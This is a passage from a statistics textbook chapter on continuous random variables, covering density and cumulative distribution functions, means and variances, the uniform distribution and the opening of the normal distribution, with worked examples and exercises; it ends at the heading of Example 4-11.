Continuous Random Variables and Probability Distributions

A link between statistics and physical phenomena is provided by the kinetic theory of gases. The physicist James Maxwell used some basic assumptions to determine the distribution of molecular velocity in a gas at equilibrium. As a result of molecular collisions all directions of rebound are equally likely. From this concept he assumed equal probabilities for velocities in all the x, y, and z directions and also independence of these components of velocity. This alone is sufficient to show that the probability distribution of the velocity in a particular direction x is the continuous probability distribution known as the normal distribution. This fundamental probability distribution can be derived from other directions (such as the central limit theorem to be discussed in a later chapter), but the kinetic theory may be the most parsimonious. This role for the normal distribution illustrates one example of the importance of continuous probability distribution distributions within science and engineering.

CHAPTER OUTLINE

4-1 CONTINUOUS RANDOM VARIABLES

4-2 PROBABILITY DISTRIBUTIONS AND PROBABILITY DENSITY FUNCTIONS

4-3 CUMULATIVE DISTRIBUTION FUNCTIONS

4-4 MEAN AND VARIANCE OF A CONTINUOUS RANDOM VARIABLE

4-5 CONTINUOUS UNIFORM DISTRIBUTION

4-6 NORMAL DISTRIBUTION

4-7 NORMAL APPROXIMATION TO THE BINOMIAL AND POISSON DISTRIBUTIONS
4-8 EXPONENTIAL DISTRIBUTION
4-9 ERLANG AND GAMMA DISTRIBUTIONS
4-10 WEIBULL DISTRIBUTION
4-11 LOGNORMAL DISTRIBUTION
4-12 BETA DISTRIBUTION

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Determine probabilities from probability density functions**
2. **Determine probabilities from cumulative distribution functions and cumulative distribution functions from probability density functions, and the reverse**
3. **Calculate means and variances for continuous random variables**
4. **Understand the assumptions for some common continuous probability distributions**
5. **Select an appropriate continuous probability distribution to calculate probabilities in specific applications**
6. **Calculate probabilities, determine means and variances for some common continuous probability distributions**
7. **Standardize normal random variables**
8. **Use the table for the cumulative distribution function of a standard normal distribution to calculate probabilities**
9. **Approximate probabilities for some binomial and Poisson distributions**

4-1 CONTINUOUS RANDOM VARIABLES

Suppose a dimensional length is measured on a manufactured part selected from a day's production. In practice, there can be small variations in the measurements due to many causes, such as vibrations, temperature fluctuations, operator differences, calibrations, cutting tool wear, bearing wear, and raw material changes. In an experiment such as this, the measurement is naturally represented as a random variable X and it is reasonable to model the range of possible values of X with an interval of real numbers. Recall from Chapter 2 that a **continuous random variable** is a random variable with an interval (either finite or infinite) of real numbers for its range. The model provides for any precision in length measurements.

Because the number of possible values of X is uncountably infinite, X has a distinctly different distribution from the discrete random variables studied previously. But as in the discrete case, many physical systems can be modeled by the same or similar continuous random variables. These random variables are described, and example computations of probabilities, means, and variances are provided in the remaining sections of this chapter.

4-2 PROBABILITY DISTRIBUTIONS AND PROBABILITY DENSITY FUNCTIONS

Density functions are commonly used in engineering to describe physical systems. For example, consider the density of a loading on a long, thin beam as shown in Fig. 4-1. For any point x along the beam, the density can be described by a function (in grams/cm). Intervals with large loadings correspond to large values for the function. The total loading between points a and b is determined as the integral of the density function from a to b. This integral is the area under the density function over this interval, and it can be loosely interpreted as the sum of all the loadings over this interval.

Figure 4-1 Density function of a loading on a long, thin beam.

Figure 4-2 Probability determined from the area under $f(x)$.

Similarly, a **probability density function** $f(x)$ can be used to describe the probability distribution of a **continuous random variable** X. If an interval is likely to contain a value for X, its probability is large and it corresponds to large values for $f(x)$. The probability that X is between a and b is determined as the integral of $f(x)$ from a to b. See Fig. 4-2.

Probability Density Function

For a continuous random variable X, a **probability density function** is a function such that

(1) $f(x) \geq 0$

(2) $\displaystyle\int_{-\infty}^{\infty} f(x)\,dx = 1$

(3) $\displaystyle P(a \leq X \leq b) = \int_{a}^{b} f(x)\,dx =$ area under $f(x)$ from a to b

for any a and b (4-1)

A probability density function provides a simple description of the probabilities associated with a random variable. As long as $f(x)$ is nonnegative and $\int_{-\infty}^{\infty} f(x)\,dx = 1$, $0 \leq P(a < X < b) \leq 1$ so that the probabilities are properly restricted. A probability density function is zero for x values that cannot occur and it is assumed to be zero wherever it is not specifically defined.

A **histogram** is an approximation to a probability density function. See Fig. 4-3. For each interval of the histogram, the area of the bar equals the relative frequency (proportion) of the measurements in the interval. The relative frequency is an estimate of the probability that a measurement falls in the interval. Similarly, the area under $f(x)$ over any interval equals the true probability that a measurement falls in the interval.

The important point is that **$f(x)$ is used to calculate an area** that represents the probability that X assumes a value in $[a, b]$. For the current measurement example, the probability that X results in [14 mA, 15 mA] is the integral of the probability density function of X over this interval. The probability that X results in [14.5 mA, 14.6 mA] is the integral of the same function, $f(x)$, over the smaller interval. By appropriate choice of the shape of $f(x)$, we can represent the

Figure 4-3 Histogram approximates a probability density function.

probabilities associated with any continuous random variable X. The shape of $f(x)$ determines how the probability that X assumes a value in [14.5 mA, 14.6 mA] compares to the probability of any other interval of equal or different length.

For the density function of a loading on a long, thin beam, because every point has zero width, the loading at any point is zero. Similarly, for a continuous random variable X and *any* value x,

$$P(X = x) = 0$$

Based on this result, it might appear that our model of a continuous random variable is useless. However, in practice, when a particular current measurement is observed, such as 14.47 milliamperes, this result can be interpreted as the rounded value of a current measurement that is actually in a range such as $14.465 \le x \le 14.475$. Therefore, the probability that the rounded value 14.47 is observed as the value for X is the probability that X assumes a value in the interval [14.465, 14.475], which is not zero. Similarly, because each point has zero probability, one need not distinguish between inequalities such as $<$ or $\le$ for continuous random variables.

If X is a **continuous random variable,** for any x_1 and x_2,

$$P(x_1 \le X \le x_2) = P(x_1 < X \le x_2) = P(x_1 \le X < x_2) = P(x_1 < X < x_2) \quad (4\text{-}2)$$

EXAMPLE 4-1 Electric Current

Let the continuous random variable X denote the current measured in a thin copper wire in milliamperes. Assume that the range of X is [0, 20 mA], and assume that the probability density function of X is $f(x) = 0.05$ for $0 \le x \le 20$. What is the probability that a current measurement is less than 10 milliamperes?

The probability density function is shown in Fig. 4-4. It is assumed that $f(x) = 0$ wherever it is not specifically defined. The probability requested is indicated by the shaded area in Fig. 4-4.

$$P(X < 10) = \int_0^{10} f(x)\,dx = \int_0^{10} 0.05\,dx = 0.5$$

As another example,

$$P(5 < X < 20) = \int_5^{20} f(x)\,dx = 0.75$$

EXAMPLE 4-2 Hole Diameter

Let the continuous random variable X denote the diameter of a hole drilled in a sheet metal component. The target diameter is 12.5 millimeters. Most random disturbances to the process result in larger diameters. Historical data show that the distribution of X can be modeled by a probability density function $f(x) = 20e^{-20(x-12.5)}$, $x \ge 12.5$.

If a part with a diameter larger than 12.60 millimeters is scrapped, what proportion of parts is scrapped? The density function and the requested probability are shown in Fig. 4-5. A part is scrapped if $X > 12.60$. Now,

$$P(X > 12.60) = \int_{12.6}^{\infty} f(x)\,dx = \int_{12.6}^{\infty} 20e^{-20(x-12.5)}\,dx$$

$$= -e^{-20(x-12.5)}\Big|_{12.6}^{\infty} = 0.135$$

Figure 4-4 Probability density function for Example 4-1.

Figure 4-5 Probability density function for Example 4-2.

What proportion of parts is between 12.5 and 12.6 millimeters? Now,

$$P(12.5 < X < 12.6) = \int_{12.5}^{12.6} f(x)\,dx = -e^{-20(x-12.5)}\Big|_{12.5}^{12.6}$$
$$= 0.865$$

Because the total area under $f(x)$ equals 1, we can also calculate $P(12.5 < X < 12.6) = 1 - P(X > 12.6) = 1 - 0.135 = 0.865$.

Practical Interpretation: Because 0.135 is the proportion of parts with diameters greater than 12.60 mm a large proportion of parts are scrapped. Process improvements are needed to increase the proportion of parts with dimensions near 12.50 mm.

EXERCISES FOR SECTION 4-2

4-1. Suppose that $f(x) = e^{-x}$ for $0 < x$. Determine the following:
(a) $P(1 < X)$ (b) $P(1 < X < 2.5)$
(c) $P(X = 3)$ (d) $P(X < 4)$
(e) $P(3 \le X)$
(f) Determine x such that $P(x < X) = 0.10$.
(g) Determine x such that $P(X \le x) = 0.10$.

4-2. Suppose that $f(x) = 3(8x - x^2)/256$ for $0 < x < 8$. Determine the following:
(a) $P(X < 2)$ (b) $P(X < 9)$
(c) $P(2 < X < 4)$ (d) $P(X > 6)$
(e) Determine x such that $P(X < x) = 0.95$.

4-3. Suppose that $f(x) = 0.5 \cos x$ for $-\pi/2 < x < \pi/2$. Determine the following:
(a) $P(X < 0)$ (b) $P(X < -\pi/4)$
(c) $P(-\pi/4 < X < \pi/4)$ (d) $P(X > -\pi/4)$
(e) Determine x such that $P(X < x) = 0.95$.

4-4. The diameter of a particle of contamination (in micrometers) is modeled with the probability density function $f(x) = 2/x^3$ for $x > 1$. Determine the following:
(a) $P(X < 2)$ (b) $P(X > 5)$
(c) $P(4 < X < 8)$ (d) $P(X < 4 \text{ or } X > 8)$
(e) Determine x such that $P(X < x) = 0.95$.

4-5. Suppose that $f(x) = x/8$ for $3 < x < 5$. Determine the following probabilities:
(a) $P(X < 4)$ (b) $P(X > 3.5)$
(c) $P(4 < X < 5)$ (d) $P(X < 4.5)$
(e) $P(X < 3.5 \text{ or } X > 4.5)$

4-6. Suppose that $f(x) = e^{-(x-4)}$ for $4 < x$. Determine the following:
(a) $P(1 < X)$ (b) $P(2 \le X < 5)$
(c) $P(5 < X)$ (d) $P(8 < X < 12)$
(e) Determine x such that $P(X < x) = 0.90$.

4-7. Suppose that $f(x) = 1.5x^2$ for $-1 < x < 1$. Determine the following:
(a) $P(0 < X)$ (b) $P(0.5 < X)$
(c) $P(-0.5 \le X \le 0.5)$ (d) $P(X < -2)$
(e) $P(X < 0 \text{ or } X > -0.5)$
(f) Determine x such that $P(x < X) = 0.05$.

4-8. The probability density function of the time to failure of an electronic component in a copier (in hours) is $f(x) = e^{-x/1000}/1000$ for $x > 0$. Determine the probability that
(a) A component lasts more than 3000 hours before failure.
(b) A component fails in the interval from 1000 to 2000 hours.
(c) A component fails before 1000 hours.
(d) Determine the number of hours at which 10% of all components have failed.

4-9. The probability density function of the net weight in pounds of a packaged chemical herbicide is $f(x) = 2.0$ for $49.75 < x < 50.25$ pounds.
(a) Determine the probability that a package weighs more than 50 pounds.
(b) How much chemical is contained in 90% of all packages?

4-10. The probability density function of the length of a cutting blade is $f(x) = 1.25$ for $74.6 < x < 75.4$ millimeters. Determine the following:
(a) $P(X < 74.8)$
(b) $P(X < 74.8 \quad \text{or} \quad X > 75.2)$
(c) If the specifications for this process are from 74.7 to 75.3 millimeters, what proportion of blades meets specifications?

4-11. The probability density function of the length of a metal rod is $f(x) = 2$ for $2.3 < x < 2.8$ meters.
(a) If the specifications for this process are from 2.25 to 2.75 meters, what proportion of rods fail to meet the specifications?
(b) Assume that the probability density function is $f(x) = 2$ for an interval of length 0.5 meters. Over what value should the density be centered to achieve the greatest proportion of bars within specifications?

4-12. If X is a continuous random variable, argue that $P(x_1 \le X \le x_2) = P(x_1 < X \le x_2) = P(x_1 \le X < x_2) = P(x_1 < X < x_2)$.

4-3 CUMULATIVE DISTRIBUTION FUNCTIONS

An alternative method to describe the distribution of a discrete random variable can also be used for continuous random variables.

Cumulative Distribution Function

The **cumulative distribution function** of a continuous random variable X is

$$F(x) = P(X \le x) = \int_{-\infty}^{x} f(u)\, du \tag{4-3}$$

for $-\infty < x < \infty$.

Extending the definition of $f(x)$ to the entire real line enables us to define the cumulative distribution function for all real numbers. The following example illustrates the definition.

EXAMPLE 4-3 Electric Current

For the copper current measurement in Example 4-1, the cumulative distribution function of the random variable X consists of three expressions. If $x < 0$, $f(x) = 0$. Therefore,

$$F(x) = 0, \quad \text{for} \quad x < 0$$

and

$$F(x) = \int_{0}^{x} f(u)\, du = 0.05x, \quad \text{for} \quad 0 \le x < 20$$

Finally,

$$F(x) = \int_{0}^{x} f(u)\, du = 1, \quad \text{for} \quad 20 \le x$$

Therefore,

$$F(x) = \begin{cases} 0 & x < 0 \\ 0.05x & 0 \le x < 20 \\ 1 & 20 \le x \end{cases}$$

The plot of $F(x)$ is shown in Fig. 4-6.

Notice that in the definition of $F(x)$, any $<$ can be changed to $\le$ and vice versa. That is, $F(x)$ can be defined as either $0.05x$ or 0 at the end-point $x = 0$, and $F(x)$ can be defined as either $0.05x$ or 1 at the end-point $x = 20$. In other words, $F(x)$ is a continuous function. For a discrete random variable, $F(x)$ is not a continuous function. Sometimes, a continuous random variable is defined as one that has a continuous cumulative distribution function.

EXAMPLE 4-4 Hole Diameter

For the drilling operation in Example 4-2, $F(x)$ consists of two expressions.

$$F(x) = 0 \quad \text{for} \quad x < 12.5$$

and for $12.5 \le x$,

$$F(x) = \int_{12.5}^{x} 20e^{-20(u-12.5)}\, du$$
$$= 1 - e^{-20(x-12.5)}$$

Therefore,

$$F(x) = \begin{cases} 0 & x < 12.5 \\ 1 - e^{-20(x-12.5)} & 12.5 \le x \end{cases}$$

Figure 4-7 displays a graph of $F(x)$.

Practical Interpretation: The cumulative distribution function enables one to easily calculate the probability a diameter in less than a value (such as 12.60 mm). Therefore, the probability of a scrapped part can be easily determined.

The probability density function of a continuous random variable can be determined from the cumulative distribution function by differentiating. Recall that the fundamental theorem of calculus states that

$$\frac{d}{dx} \int_{-\infty}^{x} f(u)\, du = f(x)$$

Figure 4-6 Cumulative distribution function for Example 4-3.

Figure 4-7 Cumulative distribution function for Example 4-4.

Then, given $F(x)$,

$$f(x) = \frac{dF(x)}{dx}$$

as long as the derivative exists.

EXAMPLE 4-5 Reaction Time

The time until a chemical reaction is complete (in milliseconds) is approximated by the cumulative distribution function

$$F(x) = \begin{cases} 0 & x < 0 \\ 1 - e^{-0.01x} & 0 \le x \end{cases}$$

Determine the probability density function of X. What proportion of reactions is complete within 200 milliseconds? Using the result that the probability density function is the derivative of $F(x)$, we obtain

$$f(x) = \begin{cases} 0 & x < 0 \\ 0.01e^{-0.01x} & 0 \le x \end{cases}$$

The probability that a reaction completes within 200 milliseconds is

$$P(X < 200) = F(200) = 1 - e^{-2} = 0.8647.$$

EXERCISES FOR SECTION 4-3

4-13. Suppose the cumulative distribution function of the random variable X is

$$F(x) = \begin{cases} 0 & x < 0 \\ 0.2x & 0 \le x < 5 \\ 1 & 5 \le x \end{cases}$$

Determine the following:
(a) $P(X < 2.8)$ (b) $P(X > 1.5)$
(c) $P(X < -2)$ (d) $P(X > 6)$

4-14. Suppose the cumulative distribution function of the random variable X is

$$F(x) = \begin{cases} 0 & x < -2 \\ 0.25x + 0.5 & -2 \le x < 2 \\ 1 & 2 \le x \end{cases}$$

Determine the following:
(a) $P(X < 1.8)$ (b) $P(X > -1.5)$
(c) $P(X < -2)$ (d) $P(-1 < X < 1)$

4-15. Determine the cumulative distribution function for the distribution in Exercise 4-1.

4-16. Determine the cumulative distribution function for the distribution in Exercise 4-2.

4-17. Determine the cumulative distribution function for the distribution in Exercise 4-3.

4-18. Determine the cumulative distribution function for the distribution in Exercise 4-4.

4-19. Determine the cumulative distribution function for the distribution in Exercise 4-5.

4-20. Determine the cumulative distribution function for the distribution in Exercise 4-8. Use the cumulative distribution function to determine the probability that a component lasts more than 3000 hours before failure.

4-21. Determine the cumulative distribution function for the distribution in Exercise 4-11. Use the cumulative distribution function to determine the probability that a length exceeds 2.7 meters.

4-22. The probability density function of the time customers arrive at a terminal (in minutes after 8:00 A.M.) is $f(x) = e^{-x/10}/10$ for $0 < x$. Determine the probability that
(a) The first customer arrives by 9:00 A.M.
(b) The first customer arrives between 8:15 A.M. and 8:30 A.M.
(c) Two or more customers arrive before 8:40 A.M. among five who arrive at the terminal. Assume customer arrivals are independent.
(d) Determine the cumulative distribution function and use the cumulative distribution function to determine the

probability that the first customer arrives between 8:15 A.M. and 8:30 A.M.

4-23. The gap width is an important property of a magnetic recording head. In coded units, if the width is a continuous random variable over the range from $0 < x < 2$ with $f(x) = 0.5x$, determine the cumulative distribution function of the gap width.

Determine the probability density function for each of the following cumulative distribution functions.

4-24. $F(x) = 1 - e^{-2x} \quad x > 0$

4-25.

$$F(x) = \begin{cases} 0 & x < 0 \\ 0.2x & 0 \le x < 4 \\ 0.04x + 0.64 & 4 \le x < 9 \\ 1 & 9 \le x \end{cases}$$

4-26.

$$F(x) = \begin{cases} 0 & x < -2 \\ 0.25x + 0.5 & -2 \le x < 1 \\ 0.5x + 0.25 & 1 \le x < 1.5 \\ 1 & 1.5 \le x \end{cases}$$

4-4 MEAN AND VARIANCE OF A CONTINUOUS RANDOM VARIABLE

The mean and variance can also be defined for a continuous random variable. Integration replaces summation in the discrete definitions. If a probability density function is viewed as a loading on a beam as in Fig. 4-1, the mean is the balance point.

Mean and Variance

Suppose X is a continuous random variable with probability density function $f(x)$. The **mean** or **expected value** of X, denoted as μ or $E(X)$, is

$$\mu = E(X) = \int_{-\infty}^{\infty} x f(x)\, dx \tag{4-4}$$

The **variance** of X, denoted as $V(X)$ or σ^2, is

$$\sigma^2 = V(X) = \int_{-\infty}^{\infty} (x - \mu)^2 f(x)\, dx = \int_{-\infty}^{\infty} x^2 f(x)\, dx - \mu^2$$

The **standard deviation** of X is $\sigma = \sqrt{\sigma^2}$.

The equivalence of the two formulas for variance can be derived from the same approach used for discrete random variables.

EXAMPLE 4-6 Electric Current

For the copper current measurement in Example 4-1, the mean of X is

$$E(X) = \int_0^{20} x f(x)\, dx = 0.05x^2/2 \Big|_0^{20} = 10$$

The variance of X is

$$V(X) = \int_0^{20} (x - 10)^2 f(x)\, dx = 0.05(x - 10)^3/3 \Big|_0^{20} = 33.33$$

The expected value of a function $h(X)$ of a continuous random variable is also defined in a straightforward manner.

Expected Value of a Function of a Continuous Random Variable

If X is a continuous random variable with probability density function $f(x)$,

$$E[h(X)] = \int_{-\infty}^{\infty} h(x)f(x)\,dx \tag{4-5}$$

EXAMPLE 4-7

In Example 4-1, X is the current measured in milliamperes. What is the expected value of the squared current? Now, $h(X) = X^2$. Therefore,

$$E[h(X)] = \int_{-\infty}^{\infty} x^2 f(x)\,dx = \int_{0}^{20} 0.05x^2\,dx = 0.05\,\frac{x^3}{3}\bigg|_0^{20}$$
$$= 133.33$$

In the previous example, the expected value of X^2 does not equal $E(X)$ squared. However, in the special case that $h(X) = aX + b$ for any constants a and b, $E[h(X)] = aE(X) + b$. This can be shown from the properties of integrals.

EXAMPLE 4-8 Hole Diameter

For the drilling operation in Example 4-2, the mean of X is

$$E(X) = \int_{12.5}^{\infty} xf(x)\,dx = \int_{12.5}^{\infty} x\,20e^{-20(x-12.5)}\,dx$$

Integration by parts can be used to show that

$$E(X) = -xe^{-20(x-12.5)} - \frac{e^{-20(x-12.5)}}{20}\bigg|_{12.5}^{\infty} = 12.5 + 0.05$$
$$= 12.55$$

The variance of X is

$$V(X) = \int_{12.5}^{\infty} (x - 12.55)^2 f(x)\,dx$$

Although more difficult, integration by parts can be used two times to show that $V(X) = 0.0025$ and $\sigma = 0.05$.

Practical Interpretation: The scrap limit at 12.60 mm is only one standard deviation greater than the mean. This is generally a warning that the scraps may be unacceptably high.

EXERCISES FOR SECTION 4-4

4-27. Suppose $f(x) = 0.25$ for $0 < x < 4$. Determine the mean and variance of X.

4-28. Suppose $f(x) = 0.125x$ for $0 < x < 4$. Determine the mean and variance of X.

4-29. Suppose $f(x) = 1.5x^2$ for $-1 < x < 1$. Determine the mean and variance of X.

4-30. Suppose that $f(x) = x/8$ for $3 < x < 5$. Determine the mean and variance of x.

4-31. Determine the mean and variance of the random variable in Exercise 4-2.

4-32. Determine the mean and variance of the random variable in Exercise 4-1.

4-33. Suppose that contamination particle size (in micrometers) can be modeled as $f(x) = 2x^{-3}$ for $1 < x$. Determine the mean of X.

4-34. Suppose the probability density function of the length of computer cables is $f(x) = 0.1$ from 1200 to 1210 millimeters.
(a) Determine the mean and standard deviation of the cable length.
(b) If the length specifications are $1195 < x < 1205$ millimeters, what proportion of cables are within specifications?

4-35. The thickness of a conductive coating in micrometers has a density function of $600x^{-2}$ for $100\ \mu\text{m} < x < 120\ \mu\text{m}$.
(a) Determine the mean and variance of the coating thickness.
(b) If the coating costs \$0.50 per micrometer of thickness on each part, what is the average cost of the coating per part?

4-36. The probability density function of the weight of packages delivered by a post office is $f(x) = 70/(69x^2)$ for $1 < x < 70$ pounds.
(a) Determine the mean and variance of weight.
(b) If the shipping cost is \$2.50 per pound, what is the average shipping cost of a package?
(c) Determine the probability that the weight of a package exceeds 50 pounds.

4-37. Integration by parts is required. The probability density function for the diameter of a drilled hole in millimeters is $10e^{-10(x-5)}$ for $x > 5$ mm. Although the target diameter is 5 millimeters, vibrations, tool wear, and other nuisances produce diameters larger than 5 millimeters.
(a) Determine the mean and variance of the diameter of the holes.
(b) Determine the probability that a diameter exceeds 5.1 millimeters.

4-5 CONTINUOUS UNIFORM DISTRIBUTION

The simplest continuous distribution is analogous to its discrete counterpart.

Continuous Uniform Distribution

A continuous random variable X with probability density function

$$f(x) = 1/(b - a), \qquad a \le x \le b \tag{4-6}$$

is a **continuous uniform random variable.**

The probability density function of a continuous uniform random variable is shown in Fig. 4-8. The mean of the continuous uniform random variable X is

$$E(X) = \int_a^b \frac{x}{b-a}\,dx = \frac{0.5x^2}{b-a}\bigg|_a^b = \frac{(a+b)}{2}$$

The variance of X is

$$V(X) = \int_a^b \frac{\left(x - \left(\frac{a+b}{2}\right)\right)^2}{b-a}\,dx = \frac{\left(x - \frac{a+b}{2}\right)^3}{3(b-a)}\bigg|_a^b = \frac{(b-a)^2}{12}$$

These results are summarized as follows.

Mean and Variance

If X is a continuous uniform random variable over $a \le x \le b$,

$$\mu = E(X) = \frac{(a+b)}{2} \quad \text{and} \quad \sigma^2 = V(X) = \frac{(b-a)^2}{12} \tag{4-7}$$

EXAMPLE 4-9 Uniform Current

Let the continuous random variable X denote the current measured in a thin copper wire in milliamperes. Assume that the range of X is [0, 20 mA], and assume that the probability density function of X is $f(x) = 0.05$, $0 \le x \le 20$.

What is the probability that a measurement of current is between 5 and 10 milliamperes? The requested probability is shown as the shaded area in Fig. 4-9.

$$P(5 < X < 10) = \int_5^{10} f(x)\,dx$$
$$= 5(0.05) = 0.25$$

The mean and variance formulas can be applied with $a = 0$ and $b = 20$. Therefore,

$$E(X) = 10 \text{ mA} \quad \text{and} \quad V(X) = 20^2/12 = 33.33 \text{ mA}^2$$

Consequently, the standard deviation of X is 5.77 mA.

Figure 4-8 Continuous uniform probability density function.

Figure 4-9 Probability for Example 4-9.

The cumulative distribution function of a continuous uniform random variable is obtained by integration. If $a < x < b$,

$$F(x) = \int_a^x 1/(b-a)\,du = x/(b-a) - a/(b-a)$$

Therefore, the complete description of the cumulative distribution function of a continuous uniform random variable is

$$F(x) = \begin{cases} 0 & x < a \\ (x-a)/(b-a) & a \le x < b \\ 1 & b \le x \end{cases}$$

An example of $F(x)$ for a continuous uniform random variable is shown in Fig. 4-6.

EXERCISES FOR SECTION 4-5

4-38. Suppose X has a continuous uniform distribution over the interval [1.5, 5.5].
(a) Determine the mean, variance, and standard deviation of X.
(b) What is $P(X < 2.5)$?
(c) Determine the cumulative distribution function.

4-39. Suppose X has a continuous uniform distribution over the interval $[-1, 1]$.
(a) Determine the mean, variance, and standard deviation of X.
(b) Determine the value for x such that $P(-x < X < x) = 0.90$.
(c) Determine the cumulative distribution function.

4-40. The net weight in pounds of a packaged chemical herbicide is uniform for $49.75 < x < 50.25$ pounds.
(a) Determine the mean and variance of the weight of packages.
(b) Determine the cumulative distribution function of the weight of packages.
(c) Determine $P(X < 50.1)$.

4-41. The thickness of a flange on an aircraft component is uniformly distributed between 0.95 and 1.05 millimeters.
(a) Determine the cumulative distribution function of flange thickness.
(b) Determine the proportion of flanges that exceeds 1.02 millimeters.
(c) What thickness is exceeded by 90% of the flanges?
(d) Determine the mean and variance of flange thickness.

4-42. Suppose the time it takes a data collection operator to fill out an electronic form for a database is uniformly between 1.5 and 2.2 minutes.
(a) What is the mean and variance of the time it takes an operator to fill out the form?
(b) What is the probability that it will take less than two minutes to fill out the form?
(c) Determine the cumulative distribution function of the time it takes to fill out the form.

4-43. The thickness of photoresist applied to wafers in semiconductor manufacturing at a particular location on the wafer is uniformly distributed between 0.2050 and 0.2150 micrometers.
(a) Determine the cumulative distribution function of photoresist thickness.
(b) Determine the proportion of wafers that exceeds 0.2125 micrometers in photoresist thickness.
(c) What thickness is exceeded by 10% of the wafers?
(d) Determine the mean and variance of photoresist thickness.

4-44. An adult can lose or gain two pounds of water in the course of a day. Assume that the changes in water weight are uniformly distributed between minus two and plus two pounds in a day. What is the standard deviation of your weight over a day?

4-45. A show is scheduled to start at 9:00 A.M., 9:30 A.M., and 10:00 A.M. Once the show starts, the gate will be closed.

A visitor will arrive at the gate at a time uniformly distributed between 8:30 A.M. and 10:00 A.M. Determine

(a) The cumulative distribution function of the time (in minutes) between arrival and 8:30 A.M.
(b) The mean and variance of the distribution in the previous part.
(c) The probability that a visitor waits less than 10 minutes for a show.
(d) The probability that a visitor waits more than 20 minutes for a show.

4-46. The volume of a shampoo filled into a container is uniformly distributed between 374 and 380 milliliters.

(a) What are the mean and standard deviation of the volume of shampoo?
(b) What is the probability that the container is filled with less than the advertised target of 375 milliliters?
(c) What is the volume of shampoo that is exceeded by 95% of the containers?
(d) Every milliliter of shampoo costs the producer \$0.002. Any more shampoo in the container than 375 milliliters is an extra cost to the producer. What is the mean extra cost?

4-47. An e-mail message will arrive at a time uniformly distributed between 9:00 A.M. and 11:00 A.M. You check e-mail at 9:15 A.M. and every 30 minutes afterward.

(a) What is the standard deviation of arrival time (in minutes)?
(b) What is the probability that the message arrives less than 10 minutes before you view it?
(c) What is the probability that the message arrives more than 15 minutes before you view it?

4-48. Measurement error that is continuous and uniformly distributed from -3 to $+3$ millivolts is added to the true voltage of a circuit. Then the measurement is rounded to the nearest millivolt so that it becomes discrete. Suppose that the true voltage is 250 millivolts.

(a) What is the probability mass function of the measured voltage?
(b) What is the mean and variance of the measured voltage?

4-6 NORMAL DISTRIBUTION

Undoubtedly, the most widely used model for the distribution of a random variable is a **normal distribution.** Whenever a random experiment is replicated, the random variable that equals the average (or total) result over the replicates tends to have a normal distribution as the number of replicates becomes large. De Moivre presented this fundamental result, known as the **central limit theorem,** in 1733. Unfortunately, his work was lost for some time, and Gauss independently developed a normal distribution nearly 100 years later. Although De Moivre was later credited with the derivation, a normal distribution is also referred to as a **Gaussian distribution.**

When do we average (or total) results? Almost always. For example, an automotive engineer may plan a study to average pull-off force measurements from several connectors. If we assume that each measurement results from a replicate of a random experiment, the normal distribution can be used to make approximate conclusions about this average. These conclusions are the primary topics in the subsequent chapters of this book.

Furthermore, sometimes the central limit theorem is less obvious. For example, assume that the deviation (or error) in the length of a machined part is the sum of a large number of infinitesimal effects, such as temperature and humidity drifts, vibrations, cutting angle variations, cutting tool wear, bearing wear, rotational speed variations, mounting and fixture variations, variations in numerous raw material characteristics, and variation in levels of contamination. If the component errors are independent and equally likely to be positive or negative, the total error can be shown to have an approximate normal distribution. Furthermore, the normal distribution arises in the study of numerous basic physical phenomena. For example, the physicist Maxwell developed a normal distribution from simple assumptions regarding the velocities of molecules.

The theoretical basis of a normal distribution is mentioned to justify the somewhat complex form of the probability density function. Our objective now is to calculate probabilities for a normal random variable. The central limit theorem will be stated more carefully later.

Figure 4-10 Normal probability density functions for selected values of the parameters μ and σ^2.

Random variables with different means and variances can be modeled by normal probability density functions with appropriate choices of the center and width of the curve. The value of $E(X) = \mu$ determines the center of the probability density function and the value of $V(X) = \sigma^2$ determines the width. Figure 4-10 illustrates several normal probability density functions with selected values of μ and σ^2. Each has the characteristic symmetric bell-shaped curve, but the centers and dispersions differ. The following definition provides the formula for normal probability density functions.

Normal Distribution

A random variable X with probability density function

$$f(x) = \frac{1}{\sqrt{2\pi}\sigma} e^{\frac{-(x-\mu)^2}{2\sigma^2}} \qquad -\infty < x < \infty \tag{4-8}$$

is a **normal random variable** with parameters μ, where $-\infty < \mu < \infty$, and $\sigma > 0$. Also,

$$E(X) = \mu \quad \text{and} \quad V(X) = \sigma^2 \tag{4-9}$$

and the notation $N(\mu, \sigma^2)$ is used to denote the distribution.

The mean and variance of X are shown to equal μ and σ^2, respectively, in an exercise at the end of chapter 5.

EXAMPLE 4-10

Assume that the current measurements in a strip of wire follow a normal distribution with a mean of 10 milliamperes and a variance of 4 (milliamperes)^2. What is the probability that a measurement exceeds 13 milliamperes?

Let X denote the current in milliamperes. The requested probability can be represented as $P(X > 13)$. This probability is shown as the shaded area under the normal probability density function in Fig. 4-11. Unfortunately, there is no closed-form expression for the integral of a normal probability density function, and probabilities based on the normal distribution are typically found numerically or from a table (that we will later introduce).

Some useful results concerning a normal distribution are summarized below and in Fig. 4-12. For any normal random variable,

$$P(\mu - \sigma < X < \mu + \sigma) = 0.6827$$
$$P(\mu - 2\sigma < X < \mu + 2\sigma) = 0.9545$$
$$P(\mu - 3\sigma < X < \mu + 3\sigma) = 0.9973$$

Also, from the symmetry of $f(x)$, $P(X > \mu) = P(X < \mu) = 0.5$. Because $f(x)$ is positive for all x, this model assigns some probability to each interval of the real line. However, the

Figure 4-11 Probability that $X > 13$ for a normal random variable with $\mu = 10$ and $\sigma^2 = 4$.

Figure 4-12 Probabilities associated with a normal distribution.

probability density function decreases as x moves farther from μ. Consequently, the probability that a measurement falls far from μ is small, and at some distance from μ the probability of an interval can be approximated as zero.

The area under a normal probability density function beyond 3σ from the mean is quite small. This fact is convenient for quick, rough sketches of a normal probability density function. The sketches help us determine probabilities. Because more than 0.9973 of the probability of a normal distribution is within the interval $(\mu - 3\sigma, \mu + 3\sigma)$, 6σ is often referred to as the **width** of a normal distribution. Advanced integration methods can be used to show that the area under the normal probability density function from $-\infty < x < \infty$ is 1.

Standard Normal Random Variable

A normal random variable with

$$\mu = 0 \quad \text{and} \quad \sigma^2 = 1$$

is called a **standard normal random variable** and is denoted as Z. The cumulative distribution function of a standard normal random variable is denoted as

$$\Phi(z) = P(Z \leq z)$$

Appendix Table III provides cumulative probabilities for a standard normal random variable. Cumulative distribution functions for normal random variables are also widely available in computer packages. They can be used in the same manner as Appendix Table III to obtain probabilities for these random variables. The use of Table III is illustrated by the following example.

EXAMPLE 4-11 Standard Normal Distribution

